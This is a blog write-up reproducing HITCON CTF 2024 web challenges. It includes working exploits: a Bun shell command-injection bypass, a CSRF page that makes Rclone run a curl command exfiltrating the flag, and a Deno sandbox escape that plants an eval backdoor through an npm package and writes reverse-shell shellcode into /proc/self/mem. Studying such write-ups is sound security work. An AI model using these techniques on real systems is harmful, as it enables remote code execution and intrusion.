MysidBlog
主页 友链 关于

HitconCTF2024复现

LastUpdate: 2024-07-23

Echo as a Service

涉及bun shell 命令执行逃逸,要求运行 /readflag give me the flag 。

else if (url.pathname === "/echo") {
            const msg = (await req.formData()).get("msg");
            if (typeof msg !== "string") {
                return new Response("Something's wrong, I can feel it", { status: 400 });
            }
            
            const output = await $`echo ${msg}`.text();
            return new Response(output, { headers: { "Content-Type": "text/plain" } });
        }

 

这里拼接的模板变量 ${msg} 内容会被转义从而防止命令注入,好在 bun 是开源的我们可以查看它的源码 https://github.com/oven-sh/bun/blob/bun-v1.1.8/src/shell/shell.zig

/// Characters that need to escaped
const SPECIAL_CHARS = [_]u8{ '$', '>', '&', '|', '=', ';', '\n', '{', '}', ',', '(', ')', '\\', '\"', ' ', '\'' };
/// Characters that need to be backslashed inside double quotes
const BACKSLASHABLE_CHARS = [_]u8{ '$', '`', '"', '\\' };

 

这里可以发现使用反引号并不会转义字符串,查看 bun 1.1.9 的修复提交也可以看到这个利用点,因此我们可以执行 `env` ,但是不能执行`/readflag give me the flag`因为包含了空格它就会转义反引号使得命令无法执行,使用 \t 可以绕过但遗憾的是bun shell 不会把 \t 作为参数的分割符。

import { $ } from "bun";

let cmd1 = "`whoami`"
let cmd2 = "`whoami `"
console.log($.escape(cmd1));
console.log($.escape(cmd2));

await $`echo ${cmd1}`;
await $`echo ${cmd2}`;
// bun test.js
`whoami`
"\`whoami \`"
mysid
`whoami `

 

经过fuzz测试发现可以使用 mysid1<exp.sh 的方式写入文件,这算是 bun shell 的特性,所以我们可以写入 /readflag\tgive\tme\tthe\tflag 再用 sh 执行。

cmd = ['/readflag\tgive\tme\tthe\tflag1<exp.sh', '`sh<exp.sh`']
[print(__import__("requests").post("http://eaas.chal.hitconctf.com:30951/echo", data={'msg': cmd[x]}).text) for x in range(2)]

 

 

RClonE

涉及CSRF,Rclone后台RCE,Rclone 用于管理和同步云存储服务和本地文件系统之间的文件。它支持许多不同的云存储提供商,可以执行文件传输、同步、备份、加密等操作,题目 bot 会登录 Rclone 后台并且访问我们的 url 我们需要考虑的是如何通过 CSRF 实现 RCE。

查看文档 https://rclone.org/ 可以找到很多有意思的功能,比如 https://rclone.org/sftp/#shell-access SFTP 远程访问 shell,https://rclone.org/rc/#core-command 运行 rclone 终端命令,https://rclone.org/docs/#configuration-encryption 配置解密脚本等等,这里就配置 SFTP 连接执行命令并且触发连接操作。

pkHPPGF.png

 

编写EXP

<form action="http://rclone:5572/config/create" method="POST" id="cfgform" target="_blank">
	<input name="name" value="yy" />
	<input name="type" value="sftp" />
	<input name="parameters" />
	<button type="submit">Create</button>
</form>
<script>
	cfgform.parameters.value = JSON.stringify({
		ssh: `bash -c "curl http://bot:8000/submit -d url=http://${location.host}/flag?flag=$(/readflag)"`
	})
</script>

<form action="http://rclone:5572/operations/list" method="POST" id="listform" target="_blank">
	<input name="fs" value="yy:" />
	<input name="remote" value="" />
	<button type="submit">Do List</button>
</form>
<script>
	cfgform.submit()
	setTimeout(() => {
		listform.submit()
	}, 1500)
</script>

 

 

Truth of NPM

涉及Deno.readDir non-UTF-8 skip,FLI, Deno sandbox escape,题目部署了一个deno Web 服务提供查询 npm 包大小的功能,它会先导入一个选手指定的npm 包、计算包大小后删除所有文件来实现这个功能。

// 导入任意 npm 包
const module = await import(`npm:${packageName}/package.json`, {
    with: {
        type: 'json'
    }
})
// 计算并删除文件
async function* walkPackageFiles(npmDir: string) {
	for await (const entry of fs.walk(npmDir)) {
		if (entry.isDirectory) continue
		// registry.json is generated by deno
		if (entry.name !== 'registry.json') {
			yield entry
		}
	}
}
// omitted...
for await (const entry of walkPackageFiles(npmDir)) {
	await fs.remove(entry.path)
}
async function queryPackage(packageName: string) {
	// omitted...
	let totalSize = 0
	const ps = await asyncMapToArray(walkPackageFiles(npmDir), async entry => {
		const { size } = await Deno.stat(entry.path)
		totalSize += size
		return Deno.remove(entry.path)
	})
	// omitted...
}

 

存在任意文件包含漏洞,接下来我需要找到一个方法写入文件,rateLimiter(1) 应该是防止条件竞争,这里查看源码 fs.walk 调用了 Deno.readDir 方法,而该方法会忽略名称包含非 utf-8 字符的文件https://github.com/denoland/deno/pull/4004,所以我们可以发布一个包含 exp�.tsx 后门的 npm 包,接着导入并且访问 ../../path/to/package/exp%ff 包含恶意文件 RCE。

const app = new Hono()
app.use(rateLimiter(1))
app.use(async (c: Context) => {
	const page = c.req.path.slice(1) || 'index'
	try {
		const { handler } = await import(`./pages/${page}.tsx`)
		return handler(c)
	} catch (err) {
		return c.html(`<h1>500 Internal Server Error</h1><pre>${err.message}</pre>`, 500)
	}
})
// exp�.tsx
export const handler = async c => {
	const body = await c.req.text()
	return c.text(eval(body))
}

 

不过到这里还不能拿 flag,因为 Deno 不同与 Node.js,它在完全隔离的沙箱中执行 JavaScript 代码同时会阻止任何程序访问文件系统、网络、环境变量等,题目使用的版本是比赛当时最新的 deno 1.45.2。对此找到了 https://nvd.nist.gov/vuln/detail/CVE-2024-34346 不过这个漏洞在 1.43 被修复默认禁止访问 /dev,/proc 和 /sys,查看修复提交 https://github.com/denoland/deno/blob/e0cfc9da39e1d05e6a95c89c41cff8ae34fcbd66/runtime/permissions/lib.rs#L1786-L1834 注意到只是匹配路径字符串,测试可以使用软链接绕过,最后通过 ASLR 读取并编写 shellcode 绕过沙箱。

// exp.js
try {
	Deno.removeSync('/tmp/self')
} catch {}
Deno.symlinkSync('/proc/self', '/tmp/self') // bypass https://github.com/denoland/deno/security/advisories/GHSA-23rx-c3g5-hv9w
const maps = Deno.readTextFileSync('/tmp/self/maps')
const first = maps.split('\n').find(x => x.includes('deno'))
const offset = 0x401c2c0 // p &Builtins_JsonStringify-0x555555554000
const base = parseInt(first.split('-')[0], 16)
const addr = base + offset
console.log('&Builtins_JsonStringify', addr.toString(16))

const mem = Deno.openSync('/tmp/self/mem', {
	write: true
})

/*
from pwn import *
context.arch = 'amd64'
sc = asm(shellcraft.connect('127.0.0.1', 3535, 'ipv4') + shellcraft.dupsh())   
print(list(sc))
*/

const shellcode = new Uint8Array([
	106, 41, 88, 106, 2, 95, 106, 1, 94, 153, 15, 5, 72, 137, 197, 72, 184, 1, 1, 1, 1, 1, 1, 1, 2, 80, 72, 184, 3, 1,
	12, 206, 126, 1, 1, 3, 72, 49, 4, 36, 106, 42, 88, 72, 137, 239, 106, 16, 90, 72, 137, 230, 15, 5, 72, 137, 239,
	106, 2, 94, 106, 33, 88, 15, 5, 72, 255, 206, 121, 246, 106, 104, 72, 184, 47, 98, 105, 110, 47, 47, 47, 115, 80,
	72, 137, 231, 104, 114, 105, 1, 1, 129, 52, 36, 1, 1, 1, 1, 49, 246, 86, 106, 8, 94, 72, 1, 230, 86, 72, 137, 230,
	49, 210, 106, 59, 88, 15, 5
])
mem.seekSync(addr, Deno.SeekMode.Start)
mem.writeSync(shellcode)
JSON.stringify('pwned')

 

  1. 发布包含exp�.tsx的 npm 包
  2. 导入恶意npm包: curl 'http://localhost:8000/query?package=发布的包名'
  3. 利用后门执行 exp.js RCE: curl --path-as-is 'http://localhost:8000/../../deno-dir/npm/registry.npmjs.org/发布的包名/发布的版本/exp%ff' -T exp.js